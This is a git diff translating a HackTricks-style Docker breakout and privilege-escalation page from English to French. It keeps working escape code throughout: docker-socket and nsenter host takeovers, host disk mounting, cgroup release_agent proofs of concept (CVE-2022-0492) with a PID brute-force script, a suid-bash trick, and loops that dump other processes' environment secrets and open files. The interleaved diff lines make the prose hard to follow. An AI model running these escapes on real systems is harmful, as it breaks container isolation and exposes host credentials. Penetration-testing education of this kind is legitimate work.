[**deepce**](https://github.com/stealthcopter/deepce): Tool to enumerate and escape from containers -- [**grype**](https://github.com/anchore/grype): Get the CVEs contained in the software installed in the image - -## Mounted Docker Socket Escape - -If somehow you find that the **docker socket is mounted** inside the docker container, you will be able to escape from it.\ -This usually happen in docker containers that for some reason need to connect to docker daemon to perform actions. +## Évasion du socket Docker monté +Si d'une manière ou d'une autre vous constatez que le **socket docker est monté** à l'intérieur du conteneur docker, vous pourrez vous en échapper.\ +Cela se produit généralement dans des conteneurs docker qui, pour une raison quelconque, doivent se connecter au démon docker pour effectuer des actions. ```bash #Search the socket find / -name docker.sock 2>/dev/null #It's usually in /run/docker.sock ``` - -In this case you can use regular docker commands to communicate with the docker daemon: - +Dans ce cas, vous pouvez utiliser des commandes docker régulières pour communiquer avec le démon docker : ```bash #List images to use one docker images @@ -44,41 +33,38 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` +> [!NOTE] +> Dans le cas où le **socket docker est à un endroit inattendu**, vous pouvez toujours communiquer avec lui en utilisant la commande **`docker`** avec le paramètre **`-H unix:///path/to/docker.sock`** + +Le démon Docker peut également [écouter sur un port (par défaut 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ou sur les systèmes basés sur Systemd, la communication avec le démon Docker peut se faire via le socket Systemd `fd://`. > [!NOTE] -> In case the **docker socket is in an unexpected place** you can still communicate with it using the **`docker`** command with the parameter **`-H unix:///path/to/docker.sock`** - -Docker daemon might be also [listening in a port (by default 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) or on Systemd-based systems, communication with the Docker daemon can occur over the Systemd socket `fd://`. - -> [!NOTE] -> Additionally, pay attention to the runtime sockets of other high-level runtimes: +> De plus, faites attention aux sockets d'exécution d'autres environnements d'exécution de haut niveau : > -> - dockershim: `unix:///var/run/dockershim.sock` -> - containerd: `unix:///run/containerd/containerd.sock` -> - cri-o: `unix:///var/run/crio/crio.sock` -> - frakti: `unix:///var/run/frakti.sock` -> - rktlet: `unix:///var/run/rktlet.sock` +> - dockershim : `unix:///var/run/dockershim.sock` +> - containerd : `unix:///run/containerd/containerd.sock` +> - cri-o : `unix:///var/run/crio/crio.sock` +> - frakti : `unix:///var/run/frakti.sock` +> - rktlet : `unix:///var/run/rktlet.sock` > - ... -## Capabilities Abuse Escape +## Abus de capacités pour évasion -You should check the capabilities of the container, if it has any of the following ones, you might be able to scape from it: **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** - -You can check currently container capabilities using **previously mentioned automatic tools** or: +Vous devez vérifier les capacités du conteneur, s'il en a l'une des suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE, CAP_SYS_RAWIO`, `CAP_SYSLOG`, `CAP_NET_RAW`, `CAP_NET_ADMIN`** +Vous pouvez vérifier les capacités actuelles du conteneur en utilisant **les outils automatiques mentionnés précédemment** ou : ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them to escape/escalate privileges: +Sur la page suivante, vous pouvez **en savoir plus sur les capacités linux** et comment les abuser pour échapper/élever des privilèges : {{#ref}} ../../linux-capabilities.md {{#endref}} -## Escape from Privileged Containers +## Échapper des Conteneurs Privilégiés -A privileged container can be created with the flag `--privileged` or disabling specific defenses: +Un conteneur privilégié peut être créé avec le drapeau `--privileged` ou en désactivant des défenses spécifiques : - `--cap-add=ALL` - `--security-opt apparmor=unconfined` @@ -90,51 +76,44 @@ A privileged container can be created with the flag `--privileged` or disabling - `--cgroupns=host` - `Mount /dev` -The `--privileged` flag significantly lowers container security, offering **unrestricted device access** and bypassing **several protections**. For a detailed breakdown, refer to the documentation on `--privileged`'s full impacts. +Le drapeau `--privileged` réduit considérablement la sécurité du conteneur, offrant **un accès illimité aux périphériques** et contournant **plusieurs protections**. Pour une analyse détaillée, consultez la documentation sur les impacts complets de `--privileged`. {{#ref}} ../docker-privileged.md {{#endref}} -### Privileged + hostPID +### Privilégié + hostPID -With these permissions you can just **move to the namespace of a process running in the host as root** like init (pid:1) just running: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` - -Test it in a container executing: +Avec ces permissions, vous pouvez simplement **vous déplacer vers l'espace de noms d'un processus s'exécutant sur l'hôte en tant que root** comme init (pid:1) en exécutant simplement : `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` +Testez-le dans un conteneur en exécutant : ```bash docker run --rm -it --pid=host --privileged ubuntu bash ``` +### Privilégié -### Privileged - -Just with the privileged flag you can try to **access the host's disk** or try to **escape abusing release_agent or other escapes**. - -Test the following bypasses in a container executing: +Juste avec le drapeau privilégié, vous pouvez essayer d'**accéder au disque de l'hôte** ou essayer d'**échapper en abusant de release_agent ou d'autres échappements**. +Testez les contournements suivants dans un conteneur exécutant : ```bash docker run --rm -it --privileged ubuntu bash ``` +#### Montage de disque - Poc1 -#### Mounting Disk - Poc1 - -Well configured docker containers won't allow command like **fdisk -l**. However on miss-configured docker command where the flag `--privileged` or `--device=/dev/sda1` with caps is specified, it is possible to get the privileges to see the host drive. +Des conteneurs docker bien configurés ne permettront pas des commandes comme **fdisk -l**. Cependant, sur une commande docker mal configurée où le drapeau `--privileged` ou `--device=/dev/sda1` avec des majuscules est spécifié, il est possible d'obtenir les privilèges pour voir le disque hôte. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +Donc, pour prendre le contrôle de la machine hôte, c'est trivial : ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +Et voilà ! Vous pouvez maintenant accéder au système de fichiers de l'hôte car il est monté dans le dossier `/mnt/hola`. -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola` folder. - -#### Mounting Disk - Poc2 - -Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: +#### Montage de disque - Poc2 +Dans le conteneur, un attaquant peut tenter d'accéder davantage au système d'exploitation hôte sous-jacent via un volume hostPath écrivable créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier dans le conteneur pour voir si vous pouvez exploiter ce vecteur d'attaque : ```bash ### Check if You Can Write to a File-system echo 1 > /proc/sysrq-trigger @@ -155,9 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` - -#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 - +#### Évasion de privilèges en abusant de release_agent existant ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -191,9 +168,7 @@ sh -c "echo 0 > $d/w/cgroup.procs"; sleep 1 # Reads the output cat /o ``` - -#### Privileged Escape Abusing created release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 - +#### Évasion de privilèges en abusant de release_agent créé ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC2 ```bash:Second PoC # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -235,21 +210,19 @@ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" # Reads the output cat /output ``` - -Find an **explanation of the technique** in: +Trouvez une **explication de la technique** dans : {{#ref}} docker-release_agent-cgroups-escape.md {{#endref}} -#### Privileged Escape Abusing release_agent without known the relative path - PoC3 +#### Évasion privilégiée en abusant de release_agent sans connaître le chemin relatif - PoC3 -In the previous exploits the **absolute path of the container inside the hosts filesystem is disclosed**. However, this isn’t always the case. In cases where you **don’t know the absolute path of the container inside the host** you can use this technique: +Dans les exploits précédents, le **chemin absolu du conteneur à l'intérieur du système de fichiers de l'hôte est divulgué**. Cependant, ce n'est pas toujours le cas. Dans les cas où vous **ne connaissez pas le chemin absolu du conteneur à l'intérieur de l'hôte**, vous pouvez utiliser cette technique : {{#ref}} release_agent-exploit-relative-paths-to-pids.md {{#endref}} - ```bash #!/bin/sh @@ -288,20 +261,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release TPID=1 while [ ! -f ${OUTPUT_PATH} ] do - if [ $((${TPID} % 100)) -eq 0 ] - then - echo "Checking pid ${TPID}" - if [ ${TPID} -gt ${MAX_PID} ] - then - echo "Exiting at ${MAX_PID} :-(" - exit 1 - fi - fi - # Set the release_agent path to the guessed pid - echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent - # Trigger execution of the release_agent - sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" - TPID=$((${TPID} + 1)) +if [ $((${TPID} % 100)) -eq 0 ] +then +echo "Checking pid ${TPID}" +if [ ${TPID} -gt ${MAX_PID} ] +then +echo "Exiting at ${MAX_PID} :-(" +exit 1 +fi +fi +# Set the release_agent path to the guessed pid +echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent +# Trigger execution of the release_agent +sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs" +TPID=$((${TPID} + 1)) done # Wait for and cat the output @@ -309,9 +282,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à : ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -339,37 +310,33 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +#### Évasion de privilèges en abusant des montages sensibles -#### Privileged Escape Abusing Sensitive Mounts +Il existe plusieurs fichiers qui peuvent être montés et qui donnent **des informations sur l'hôte sous-jacent**. Certains d'entre eux peuvent même indiquer **quelque chose à exécuter par l'hôte lorsque quelque chose se produit** (ce qui permettra à un attaquant de s'échapper du conteneur).\ +L'abus de ces fichiers peut permettre : -There are several files that might mounted that give **information about the underlaying host**. Some of them may even indicate **something to be executed by the host when something happens** (which will allow a attacker to escape from the container).\ -The abuse of these files may allow that: - -- release_agent (already covered before) +- release_agent (déjà couvert auparavant) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) - [core_pattern](sensitive-mounts.md#proc-sys-kernel-core_pattern) - [uevent_helper](sensitive-mounts.md#sys-kernel-uevent_helper) - [modprobe](sensitive-mounts.md#proc-sys-kernel-modprobe) -However, you can find **other sensitive files** to check for in this page: +Cependant, vous pouvez trouver **d'autres fichiers sensibles** à vérifier sur cette page : {{#ref}} sensitive-mounts.md {{#endref}} -### Arbitrary Mounts - -In several occasions you will find that the **container has some volume mounted from the host**. If this volume wasn’t correctly configured you might be able to **access/modify sensitive data**: Read secrets, change ssh authorized_keys… +### Montages arbitraires +À plusieurs occasions, vous constaterez que le **conteneur a un volume monté depuis l'hôte**. Si ce volume n'est pas correctement configuré, vous pourriez être en mesure de **accéder/modifier des données sensibles** : Lire des secrets, changer ssh authorized_keys… ```bash docker run --rm -it -v /:/host ubuntu bash ``` +### Escalade de privilèges avec 2 shells et montage hôte -### Privilege Escalation with 2 shells and host mount - -If you have access as **root inside a container** that has some folder from the host mounted and you have **escaped as a non privileged user to the host** and have read access over the mounted folder.\ -You can create a **bash suid file** in the **mounted folder** inside the **container** and **execute it from the host** to privesc. - +Si vous avez accès en tant que **root à l'intérieur d'un conteneur** qui a un dossier de l'hôte monté et que vous avez **échappé en tant qu'utilisateur non privilégié sur l'hôte** et que vous avez un accès en lecture sur le dossier monté.\ +Vous pouvez créer un **fichier bash suid** dans le **dossier monté** à l'intérieur du **conteneur** et **l'exécuter depuis l'hôte** pour escalader les privilèges. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -377,16 +344,14 @@ chown root:root bash #From container as root inside mounted folder chmod 4777 bash #From container as root inside mounted folder bash -p #From non priv inside mounted folder ``` +### Escalade de privilèges avec 2 shells -### Privilege Escalation with 2 shells +Si vous avez accès en tant que **root à l'intérieur d'un conteneur** et que vous avez **échappé en tant qu'utilisateur non privilégié vers l'hôte**, vous pouvez abuser des deux shells pour **privesc à l'intérieur de l'hôte** si vous avez la capacité MKNOD à l'intérieur du conteneur (c'est par défaut) comme [**expliqué dans ce post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ +Avec une telle capacité, l'utilisateur root à l'intérieur du conteneur est autorisé à **créer des fichiers de périphériques de bloc**. Les fichiers de périphériques sont des fichiers spéciaux utilisés pour **accéder au matériel sous-jacent et aux modules du noyau**. Par exemple, le fichier de périphérique de bloc /dev/sda donne accès à **lire les données brutes sur le disque du système**. -If you have access as **root inside a container** and you have **escaped as a non privileged user to the host**, you can abuse both shells to **privesc inside the host** if you have the capability MKNOD inside the container (it's by default) as [**explained in this post**](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/).\ -With such capability the root user within the container is allowed to **create block device files**. Device files are special files that are used to **access underlying hardware & kernel modules**. For example, the /dev/sda block device file gives access to **read the raw data on the systems disk**. - -Docker safeguards against block device misuse within containers by enforcing a cgroup policy that **blocks block device read/write operations**. Nevertheless, if a block device is **created inside the container**, it becomes accessible from outside the container via the **/proc/PID/root/** directory. This access requires the **process owner to be the same** both inside and outside the container. - -**Exploitation** example from this [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +Docker protège contre l'utilisation abusive des périphériques de bloc à l'intérieur des conteneurs en appliquant une politique de cgroup qui **bloque les opérations de lecture/écriture sur les périphériques de bloc**. Néanmoins, si un périphérique de bloc est **créé à l'intérieur du conteneur**, il devient accessible de l'extérieur du conteneur via le **/proc/PID/root/** répertoire. Cet accès nécessite que **le propriétaire du processus soit le même** à l'intérieur et à l'extérieur du conteneur. +**Exploitation** exemple de ce [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / @@ -422,19 +387,15 @@ augustus 1661 0.0 0.0 6116 648 pts/0 S+ 09:48 0:00 \_ augustus@GoodGames:~$ grep -a 'HTB{' /proc/1659/root/sda HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} ``` - ### hostPID -If you can access the processes of the host you are going to be able to access a lot of sensitive information stored in those processes. Run test lab: - +Si vous pouvez accéder aux processus de l'hôte, vous allez pouvoir accéder à beaucoup d'informations sensibles stockées dans ces processus. Exécutez le laboratoire de test : ``` docker run --rm -it --pid=host ubuntu bash ``` +Par exemple, vous pourrez lister les processus en utilisant quelque chose comme `ps auxn` et rechercher des détails sensibles dans les commandes. -For example, you will be able to list the processes using something like `ps auxn` and search for sensitive details in the commands. - -Then, as you can **access each process of the host in /proc/ you can just steal their env secrets** running: - +Ensuite, comme vous pouvez **accéder à chaque processus de l'hôte dans /proc/ vous pouvez simplement voler leurs secrets d'environnement** en exécutant : ```bash for e in `ls /proc/*/environ`; do echo; echo $e; xargs -0 -L1 -a $e; done /proc/988058/environ @@ -443,9 +404,7 @@ HOSTNAME=argocd-server-69678b4f65-6mmql USER=abrgocd ... ``` - -You can also **access other processes file descriptors and read their open files**: - +Vous pouvez également **accéder aux descripteurs de fichiers d'autres processus et lire leurs fichiers ouverts** : ```bash for fd in `find /proc/*/fd`; do ls -al $fd/* 2>/dev/null | grep \>; done > fds.txt less fds.txt @@ -455,91 +414,76 @@ lrwx------ 1 root root 64 Jun 15 02:25 /proc/635813/fd/4 -> /.secret.txt.swp # You can open the secret filw with: cat /proc/635813/fd/4 ``` - -You can also **kill processes and cause a DoS**. +Vous pouvez également **tuer des processus et provoquer un DoS**. > [!WARNING] -> If you somehow have privileged **access over a process outside of the container**, you could run something like `nsenter --target --all` or `nsenter --target --mount --net --pid --cgroup` to **run a shell with the same ns restrictions** (hopefully none) **as that process.** +> Si vous avez d'une manière ou d'une autre un **accès privilégié sur un processus en dehors du conteneur**, vous pourriez exécuter quelque chose comme `nsenter --target --all` ou `nsenter --target --mount --net --pid --cgroup` pour **exécuter un shell avec les mêmes restrictions ns** (espérons-le aucune) **que ce processus.** ### hostNetwork - ``` docker run --rm -it --network=host ubuntu bash ``` +Si un conteneur a été configuré avec le Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), la pile réseau de ce conteneur n'est pas isolée de l'hôte Docker (le conteneur partage l'espace de noms réseau de l'hôte), et le conteneur ne reçoit pas sa propre adresse IP. En d'autres termes, le **conteneur lie tous les services directement à l'IP de l'hôte**. De plus, le conteneur peut **intercepter TOUT le trafic réseau que l'hôte** envoie et reçoit sur l'interface partagée `tcpdump -i eth0`. -If a container was configured with the Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), that container's network stack is not isolated from the Docker host (the container shares the host's networking namespace), and the container does not get its own IP-address allocated. In other words, the **container binds all services directly to the host's IP**. Furthermore the container can **intercept ALL network traffic that the host** is sending and receiving on shared interface `tcpdump -i eth0`. +Par exemple, vous pouvez utiliser cela pour **sniffer et même usurper le trafic** entre l'hôte et l'instance de métadonnées. -For instance, you can use this to **sniff and even spoof traffic** between host and metadata instance. - -Like in the following examples: +Comme dans les exemples suivants : - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -You will be able also to access **network services binded to localhost** inside the host or even access the **metadata permissions of the node** (which might be different those a container can access). +Vous pourrez également accéder aux **services réseau liés à localhost** à l'intérieur de l'hôte ou même accéder aux **permissions de métadonnées du nœud** (qui peuvent être différentes de celles auxquelles un conteneur peut accéder). ### hostIPC - ```bash docker run --rm -it --ipc=host ubuntu bash ``` +Avec `hostIPC=true`, vous accédez aux ressources de communication inter-processus (IPC) de l'hôte, telles que **la mémoire partagée** dans `/dev/shm`. Cela permet de lire/écrire là où les mêmes ressources IPC sont utilisées par d'autres processus de l'hôte ou du pod. Utilisez `ipcs` pour inspecter ces mécanismes IPC plus en détail. -With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further. +- **Inspecter /dev/shm** - Recherchez des fichiers dans cet emplacement de mémoire partagée : `ls -la /dev/shm` +- **Inspecter les installations IPC existantes** – Vous pouvez vérifier si des installations IPC sont utilisées avec `/usr/bin/ipcs`. Vérifiez-le avec : `ipcs -a` -- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm` -- **Inspect existing IPC facilities** – You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a` - -### Recover capabilities - -If the syscall **`unshare`** is not forbidden you can recover all the capabilities running: +### Récupérer des capacités +Si l'appel système **`unshare`** n'est pas interdit, vous pouvez récupérer toutes les capacités en exécutant : ```bash unshare -UrmCpf bash # Check them with cat /proc/self/status | grep CapEff ``` +### Abus de l'espace de noms utilisateur via symlink -### User namespace abuse via symlink - -The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files). - -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} +La deuxième technique expliquée dans le post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indique comment vous pouvez abuser des montages liés avec des espaces de noms utilisateur, pour affecter des fichiers à l'intérieur de l'hôte (dans ce cas spécifique, supprimer des fichiers). ## CVEs -### Runc exploit (CVE-2019-5736) +### Exploit Runc (CVE-2019-5736) -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. +Dans le cas où vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous essayez d'escalader les privilèges en échappant d'un conteneur en abusant de CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** **depuis un conteneur**, donc quiconque exécutant docker exec peut déclencher le payload. -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +Changez le payload en conséquence et construisez le main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur docker pour exécution.\ +Lors de l'exécution, dès qu'il affiche `[+] /bin/sh écrasé avec succès` vous devez exécuter ce qui suit depuis la machine hôte : `docker exec -it /bin/sh` -This will trigger the payload which is present in the main.go file. +Cela déclenchera le payload qui est présent dans le fichier main.go. -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +Pour plus d'informations : [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) > [!NOTE] -> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) +> Il existe d'autres CVEs auxquelles le conteneur peut être vulnérable, vous pouvez trouver une liste dans [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list) -## Docker Custom Escape +## Évasion personnalisée Docker -### Docker Escape Surface +### Surface d'évasion Docker -- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs). -- **Root user**: By default the user running the process is the root user (however its privileges are limited). -- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` -- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape. +- **Espaces de noms :** Le processus doit être **complètement séparé des autres processus** via des espaces de noms, donc nous ne pouvons pas échapper en interagissant avec d'autres procs en raison des espaces de noms (par défaut, ne peut pas communiquer via IPCs, sockets unix, services réseau, D-Bus, `/proc` d'autres procs). +- **Utilisateur root** : Par défaut, l'utilisateur exécutant le processus est l'utilisateur root (cependant, ses privilèges sont limités). +- **Capacités** : Docker laisse les capacités suivantes : `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep` +- **Syscalls** : Ce sont les syscalls que l'**utilisateur root ne pourra pas appeler** (en raison du manque de capacités + Seccomp). Les autres syscalls pourraient être utilisés pour essayer d'échapper. {{#tabs}} {{#tab name="x64 syscalls"}} - ```yaml 0x067 -- syslog 0x070 -- setsid @@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x140 -- kexec_file_load 0x141 -- bpf ``` - {{#endtab}} -{{#tab name="arm64 syscalls"}} - +{{#tab name="appels système arm64"}} ``` 0x029 -- pivot_root 0x059 -- acct @@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape 0x111 -- finit_module 0x118 -- bpf ``` - {{#endtab}} {{#tab name="syscall_bf.c"}} - ````c // From a conversation I had with @arget131 // Fir bfing syscalss in x64 @@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape int main() { - for(int i = 0; i < 333; ++i) - { - if(i == SYS_rt_sigreturn) continue; - if(i == SYS_select) continue; - if(i == SYS_pause) continue; - if(i == SYS_exit_group) continue; - if(i == SYS_exit) continue; - if(i == SYS_clone) continue; - if(i == SYS_fork) continue; - if(i == SYS_vfork) continue; - if(i == SYS_pselect6) continue; - if(i == SYS_ppoll) continue; - if(i == SYS_seccomp) continue; - if(i == SYS_vhangup) continue; - if(i == SYS_reboot) continue; - if(i == SYS_shutdown) continue; - if(i == SYS_msgrcv) continue; - printf("Probando: 0x%03x . . . ", i); fflush(stdout); - if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) - printf("Error\n"); - else - printf("OK\n"); - } +for(int i = 0; i < 333; ++i) +{ +if(i == SYS_rt_sigreturn) continue; +if(i == SYS_select) continue; +if(i == SYS_pause) continue; +if(i == SYS_exit_group) continue; +if(i == SYS_exit) continue; +if(i == SYS_clone) continue; +if(i == SYS_fork) continue; +if(i == SYS_vfork) continue; +if(i == SYS_pselect6) continue; +if(i == SYS_ppoll) continue; +if(i == SYS_seccomp) continue; +if(i == SYS_vhangup) continue; +if(i == SYS_reboot) continue; +if(i == SYS_shutdown) continue; +if(i == SYS_msgrcv) continue; +printf("Probando: 0x%03x . . . ", i); fflush(stdout); +if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM)) +printf("Error\n"); +else +printf("OK\n"); +} } ``` + ```` {{#endtab}} @@ -633,12 +574,12 @@ int main() If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode): - Find the **path of the containers filesystem** inside the host - - You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit +- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit - Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens - - You should be able to **execute the trigger from inside the host** - - You need to know where the containers files are located inside the host to indicate a script you write inside the host +- You should be able to **execute the trigger from inside the host** +- You need to know where the containers files are located inside the host to indicate a script you write inside the host - Have **enough capabilities and disabled protections** to be able to abuse that functionality - - You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container +- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container ## References @@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new - [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket) - [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4) -
- -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md index 7d16ec4a4..0b57d79c6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md @@ -2,10 +2,9 @@ {{#include ../../../../banners/hacktricks-training.md}} -**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary: +**Pour plus de détails, consultez le** [**post de blog original**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Ceci est juste un résumé : Original PoC: - ```shell d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release @@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` +La preuve de concept (PoC) démontre une méthode pour exploiter les cgroups en créant un 